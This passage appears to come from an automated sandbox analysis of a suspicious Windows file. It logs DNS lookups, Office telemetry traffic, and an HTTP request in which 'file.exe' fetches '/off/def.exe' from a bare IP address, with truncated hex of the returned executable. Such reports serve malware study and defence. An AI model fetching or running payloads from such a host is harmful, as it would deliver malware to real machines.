Nov 14, 2024 17:24:20.021898985 CET	1.1.1.1	192.168.2.6	0xa747	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:50.822294950 CET	1.1.1.1	192.168.2.6	0x10fc	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 14, 2024 17:24:50.822386026 CET	1.1.1.1	192.168.2.6	0xd2de	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:51.473858118 CET	1.1.1.1	192.168.2.6	0x3b90	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.473858118 CET	1.1.1.1	192.168.2.6	0x3b90	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.473858118 CET	1.1.1.1	192.168.2.6	0x3b90	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:51.474432945 CET	1.1.1.1	192.168.2.6	0x9dcb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.481818914 CET	1.1.1.1	192.168.2.6	0x986c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.481818914 CET	1.1.1.1	192.168.2.6	0x986c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.481818914 CET	1.1.1.1	192.168.2.6	0x986c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.481818914 CET	1.1.1.1	192.168.2.6	0x986c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:51.482343912 CET	1.1.1.1	192.168.2.6	0x72d3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:51.482343912 CET	1.1.1.1	192.168.2.6	0x72d3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:52.772445917 CET	1.1.1.1	192.168.2.6	0xd3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:52.772578001 CET	1.1.1.1	192.168.2.6	0xe33d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:52.772578001 CET	1.1.1.1	192.168.2.6	0xe33d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:52.772578001 CET	1.1.1.1	192.168.2.6	0xe33d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:53.887201071 CET	1.1.1.1	192.168.2.6	0x1ea4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:53.887201071 CET	1.1.1.1	192.168.2.6	0x1ea4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:53.887217999 CET	1.1.1.1	192.168.2.6	0x6e79	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:53.887217999 CET	1.1.1.1	192.168.2.6	0x6e79	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:53.887217999 CET	1.1.1.1	192.168.2.6	0x6e79	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:53.887217999 CET	1.1.1.1	192.168.2.6	0x6e79	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:25:01.403990030 CET	1.1.1.1	192.168.2.6	0x4580	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:25:01.404540062 CET	1.1.1.1	192.168.2.6	0xee9a	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:25:05.535798073 CET	1.1.1.1	192.168.2.6	0x5e72	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:25:05.553327084 CET	1.1.1.1	192.168.2.6	0x340f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:25:09.247674942 CET	1.1.1.1	192.168.2.6	0x1ff2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:25:09.247915983 CET	1.1.1.1	192.168.2.6	0xa1e4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

frogmen-smell.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49830	185.215.113.16	80	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 14, 2024 17:24:36.039537907 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 14, 2024 17:24:36.954149008 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 14 Nov 2024 16:24:36 GMT Content-Type: application/octet-stream Content-Length: 2849280 Last-Modified: Thu, 14 Nov 2024 16:00:54 GMT Connection: keep-alive ETag: "67361eb6-2b7a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 21 ab 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,!+`Ui` @ @.rsrc`2@.idata 8@larcwoof ++:@mmgtgawc +T+@.taggant@+"X+@
Nov 14, 2024 17:24:36.954211950 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.954221010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.954474926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.954485893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.954495907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.954518080 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.955271006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2024 17:24:36.955281973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: QKMuBeC>gFg?\|N9OW@7'z5MOL"p:amJ<. vMl2`bD~iE,M3w]9I6h5^28Km.'Gak\|BE xh:C9T-I5
Nov 14, 2024 17:24:36.955291986 CET	1236	IN	Data Raw: 89 d1 fb 74 78 25 0c 5c 09 4a af 67 cc a4 61 7c cf 1d cd 2c 00 1a 27 4a 39 05 eb 0a 3e 33 15 4e 3d 48 c1 cf 66 42 c2 66 5e 3a 7d a6 17 09 22 b0 b5 cb c3 cc 15 e9 c2 52 6e 02 e8 b7 b3 f2 3d d4 1b 1f 38 4a 05 f7 4e a2 ff 46 f9 fa 37 78 b7 8b 8f ad Data Ascii: tx%\Jga\|,'J9>3N=HfBf^:}"Rn=8JNF7xPfZtq{Ocu8tfR_#g\|D#HoZ0&IWWI'V7NI3:Y+r7:WjXWteo~e5"+gv7_yD5;UQX;H}
Nov 14, 2024 17:24:36.959131956 CET	1236	IN	Data Raw: f5 03 50 fe 59 aa 21 ac 1b 34 26 45 ba 9d 5f ae 3f bc f1 9c 74 c2 59 3d 73 c5 8b c2 de d2 28 88 6e 49 2d 81 3a 01 a7 6b f9 3a 87 9f 57 d9 49 63 31 b2 39 d9 55 b8 97 62 33 b2 21 49 bd 70 0c a6 31 fc 2a b7 01 d1 6e 54 e2 53 db ab 8f c5 fa 54 49 50 Data Ascii: PY!4&E_?tY=s(nI-:k:WIc19Ub3!Ip1*nTSTIPNO>V} <x[;!F! T1 sm``'SqY\Qzy;7(Lh7Y]{TD29NX?+(O\d+qD]r#kk`V8JwXQJa?!"'1~-!R"Tp

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:14 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:14 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 13 Nov 2024 03:39:40 GMT ETag: "0x8DD0394CDDBD898" x-ms-request-id: 406a0d50-a01e-0002-58e4-355074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162414Z-1749fc9bdbds4vwlhC1DFWz44000000002qg00000000a8ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:14 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-14 16:24:14 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-14 16:24:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
